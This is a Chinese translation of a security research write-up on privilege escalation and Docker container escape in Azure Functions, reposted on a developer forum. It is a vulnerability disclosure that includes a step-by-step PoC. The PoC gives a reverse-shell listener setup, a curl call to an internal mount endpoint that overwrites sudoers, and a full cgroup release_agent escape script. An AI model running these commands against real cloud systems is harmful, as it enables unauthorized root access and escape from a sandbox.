Py学习  »  docker

通过Azure Functions提权漏洞实现Dockers逃逸

维他命安全 • 5 年前 • 707 次点击  

摘要

在几个月前,我们发现了Microsoft Azure Network Watcher 和Azure App Services中的安全漏洞,这促使我们调查了其它类型的Azure计算基础结构。我们在Azure Functions中发现了一个新的漏洞,该漏洞允许攻击者提升权限并从Azure Functions Docker容器逃离到Docker主机。

经过内部评估,微软确定该漏洞对Function用户没有安全影响,因为Docker主机本身受到Hyper-V边界的保护。微软已经根据我们的发现进行了更改,以阻止/etc和/sys目录。

诸如此类的案例表明,有时漏洞是不受控制的。攻击者可以通过易受攻击的第三方软件找到入侵内部的方法。尽管应该尽可能地减少攻击面,但还需要确定运行时环境的优先级,以确保系统中没有潜伏的恶意代码。 


 

Azure Functions

Azure Functions是一种无服务器计算服务,允许用户运行代码,而无需配置或管理基础设施。Azure Functions相当于微软的Amazon Web Services的著名Lambda服务。

Azure Functions可以由HTTP请求触发,并且只能运行几分钟以处理该事件。在后台,用户的代码在Azure托管的容器上运行,无需用户管理自己的基础结构即可提供服务。换句话说,如果用户希望走捷径,那他们可以这样做,因为微软会为他们提供。这些代码已经安全地进行了分段,并不能轻易在其受限的环境中逃逸。但是,我们将很快说明在这种情况下如何利用。

我们创建了一个漏洞的演示,模仿攻击者在Azure Functions上执行并提升权限,以实现对Docker主机的完全逃逸。

 

 

 

技术分析

Azure Functions不需要基础结构管理,用户仅需上传他们的代码,就可实现无缝调用Function。在我们的演示中,它是通过HTTP调用的:https://test11114117.azurewebsites.net。

以下是Azure Functio处理程序代码示例: 


由于用户可以上传他们选择的任何代码,我们利用这一点来获得Function容器的立足点,并进一步了解它的内部结构。我们写了一个反向shell,一旦Function被执行,就可以连接到我们的控制服务器,这样我们就可以操作一个交互式的shell。如下:


将shell放在我们的Function上时,我们注意到我们是以普通用户“app ”(UID 1000)的身份在一个主机名为 “SandboxHost”的端点上运行,连接到Function反向shell如下: 

 

该环境大多不受实用程序的影响,因此我们在Function目录中添加了一些有用的工具(如比较实用的nmap),然后重新上传了新的Function软件包。

之后,我们使用nmap扫描localhost来了解服务器环境,结果我们发现了多个开放端口。


 

权限提升

由于我们的目标是找到权限提升漏洞,因此找到root相关进程的sockets非常重要。在查询与网络相关的/proc文件之后,我们能够将端口映射到其相应的进程:


我们发现了三个与root相关的开放端口进程。第一个是NGINX,它是一个经过全面测试的开源项目,但本地的NGINX版本不存在已知漏洞,所以这对我们没有帮助。

MSI和 Mesh 进程可以更好的发现潜在问题,因为它们是封闭的、未记录的微软进程。因此,我们确信它们没有经过比较彻底的测试。

MSI(ManagedService Identity,即托管服务身份)是无服务器模型的功能,它消除了用户管理身份的需求,通过让Azure处理身份来简化开发。

至于Mesh二进制文件,我们找不到太多信息(它与具有类似名称的Azure Fabric Mesh服务无关)。

 

不幸的是,属于这两个进程的二进制文件位于根下的目录下(如/root/mesh/init),我们无法访问它们。

Mesh似乎记录较少,而且也与我们的目的非常相关,所以我们集中精力寻找这个组件的作用。

在Google中搜索Mesh二进制的参考资料后,我们在Docker Hub中一个属于微软员工的公共Docker镜像的构建日志中找到了“/root/mesh/init ”,我们推断这是有意公开的,因为它可能在内部以某种方式被使用。

我们下载了这个镜像,并使用它创建了一个容器并提取了Mesh Init二进制文件,该二进制文件是从Go代码库编译而成的,出于目的,我们并没有剥离它。

在IDA中打开二进制文件后,我们立即注意到一些有趣的功能——Mesh二进制挂载功能:



执行mount需要root权限,如果非root用户通过HTTP服务器访问此功能,则可能导致权限提升。

带着这个目标,在经过一些逆向工程之后,我们发现了HTTP路径和变量,它们使我们能够调用这些功能,但服务器需要一个HTTP变量来指定要调用的操作:


起初,我们尝试使用mount_RunCifs和mount_RunZip命令,但并没有成功,因为系统缺乏能让这些功能工作的二进制文件。在我们第三次尝试的时候,我们发现了mount_RunSquash函数,其反汇编代码如下:



RunSquash函数将调用squashfuse_ll(在init_server_pkg_mount_runSquashInternal函数中),将 “filePath “HTTP变量提供的路径中给定的squashfs镜像挂载到 ”targetPath “HTTP变量指定的路径上。

借助这些信息,我们建立了自己的squashfs文件系统,其中只包含一个文件,该文件将使用sudoers向无root权限的应用程序用户授予root权限。

 

我们在新的Function镜像中加入了这个文件,并将恶意的squashfs镜像挂载到/etc/sudoers.d上,实现了为非root用户授予root权限。


Docker逃逸

我们能够升级为root权限, 但仍然只限于我们的容器。在容器内升级到root权限是一个了不起的成就,然而这通常不是攻击者的最终目的。侵入Docker主机能够获取更大的控制权,让他们逃离可能被监控的容器,从而转移到安全方面通常被忽视的Docker主机上。容器经常会被擦掉一些不必要的项目,攻击者可能会发现这些项目很有趣,因此升级到Docker主机可以让他们收集更多的信息来进一步破坏。

使用--privileged标志托管容器,或者授予它们非默认功能,这是一种已知的错误做法,因为这会使Docker的安全功能无效。因为Azure Functions的核心是它的容器,所以我们在对Functions执行之后做的第一件事就是检查容器被授予了哪些功能。这可以通过读取/proc目录中进程的状态文件来实现:


Cap字段与Linux功能机制有关,因此我们不会详细介绍。通过解码Cap位图我们能够列出进程的功能,容器中的所有进程都共享该功能:


我们惊讶地发现,Azure Functions 运行了一些额外的功能,更明显的是,容器是用--privileged标志运行的。

最初,这个发现对我们没有帮助,因为我们使用的是普通用户,而这种情况下可用的Docker 逃逸技术需要root用户。但若是发现“权限提升”漏洞,这一切都将被改变。

使用已知的 Docker逃逸技术,我们在Docker主机上运行了“ ps”:


概括的说,我们使用的技术是由Felix Wilhem发现的利用cgroups中的一个特性,允许在Docker主机上调用二进制文件(只有在SYS_ADMIN权限下,如--privileged标志所给出的)。在PoC中,我们在系统上运行'ps'命令并将其输出重定向到我们的容器化文件系统。

 

我们在Docker主机上实现了执行,因此我们向微软报告了我们的发现。但经过评估,微软表示这个bug不会影响安全,因此他们决定不修复。因为Docker主机本身并不是最终的主机,它由Hyper-V(虚拟机管理器)管理,并受其沙箱保护,因此我们的容器本质上是一个盒中盒。这个Docker主机只包含我们自己的Docker容器,而真正的主机管理着属于不同Azure客户的不同Azure Functions之间的共享基础架构,我们无法访问它。

 

PoC

为了使想要探究Docker主机环境的人更轻松地进行复制,我们创建了PoC。它包含如何使用反向shell上传Azure Functions的说明,以便研究者可以自己探测Docker主机,并从中找到一些用途。

在此PoC中,我们将使用squashfs设置反向shell,以升级Azure Function中的权限,并突破Docker环境,如下:

1.安装Azure Functions CLI。

2.按照Azure指南设置Azure功能。

3.将PoC所需的文件复制到Function目录:

cpfiles/__init__.py FUNCTIONDIR/FUNCTIONNAME/__init__.py

cpfiles/sudoers.sqsh FUNCTIONDIR/

 

4.将FUNCTIONDIR/FUNCTIONNAME/__init__.py文件中的PORT和IP字段填入将与反向shell通信的服务器。

5.部署Function(如上面的指南中所示):

funcazure functionapp publish

6.侦听反向Shell端口(注意在防火墙上将此端口列入白名单):

nc-nlv 0.0.0.0 PORT

并使用functionapp publish命令提供的调用URL调用功能。

 

7.现在应该在 Azure Function 中,升级权限。

curl"localhost:6060/?operation=squashfs&filePath=/home/site/wwwroot/sudoers.sqsh&targetPath=/etc/sudoers.d"

sudosu

 

8.最后脱离Docker容器(我们的示例是在Docker主机上运行ps)。

mkdir/tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir/tmp/cgrp/x

        

touch/output

echo1 > /tmp/cgrp/x/notify_on_release

mount> /tmp/mtab

host_path=`sed-n 's/.*\perdir=\([^,]*\).*/\1/p' /tmp/mtab`

echo"$host_path/cmd" > /tmp/cgrp/release_agent

        

echo'#!/bin/sh' > /cmd

echo"ps aux >> $host_path/hostps" >> /cmd

echo"ps aux >> $host_path/hostps2" >> /cmd

chmoda+x /cmd

 

sh-c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

 

PoC视频链接:

https://youtu.be/YXIf3Xl1eZ8

 

 

总结

无论如何保护代码,有时漏洞都是无法控制的。至关重要的是,当攻击者在生产环境中执行未经授权的代码时,必须采取保护措施。

可以使用Cloud Workload Protection Platform(CWPP)来监视运行时环境,以检测并阻止漏洞利用或其它攻击媒介之后的任何未授权代码执行。

 

 

 

 

原文链接:

https://www.intezer.com/blog/research/how-we-escaped-docker-in-azure-functions/

 


Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/107210